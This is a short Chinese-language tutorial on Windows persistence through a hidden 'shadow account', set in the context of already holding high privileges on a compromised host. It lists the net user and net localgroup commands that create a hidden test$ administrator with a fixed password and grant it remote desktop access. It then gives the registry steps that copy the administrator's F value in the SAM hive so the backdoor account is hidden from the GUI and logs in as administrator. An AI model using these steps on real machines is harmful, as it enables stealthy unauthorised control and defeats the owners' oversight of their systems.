windows权限维持-影子账户
0x01：前言
在获得主机高权限的时候，下一步便是对其进行持久控制。
0x02：方法
添加影子账户
首先添加一个管理员账号
net user test$ admin@123 /add
net localgroup administrators test$ /add
net localgroup "remote desktop users" test$ /add
用户名后添加$在cmd使用net user 查看账户时是可以隐藏的，但在图形界面下还是会显示
接下来操作注册表，使这个账户在图形界面中也不显示
win+r regedit 打开注册表编辑器 找到HKEY_LOCAL_MACHINE\SAM\SAM,右键点击权限，将读写权限赋予 administrator
找到后门用户和 administrator 用户对应的目录
将 administrator 对应目录中的F值复制到后门用户对应目录中的F值
复制完成后，把 test$ 和其对应的 0000003ED 目录导出并保存
然后删除刚才的后门用户test$
net user test$ /del
然后重新导入注册表，这样就添加了一个隐藏的用户，使用 test$ 和密码就能登陆为 administrator
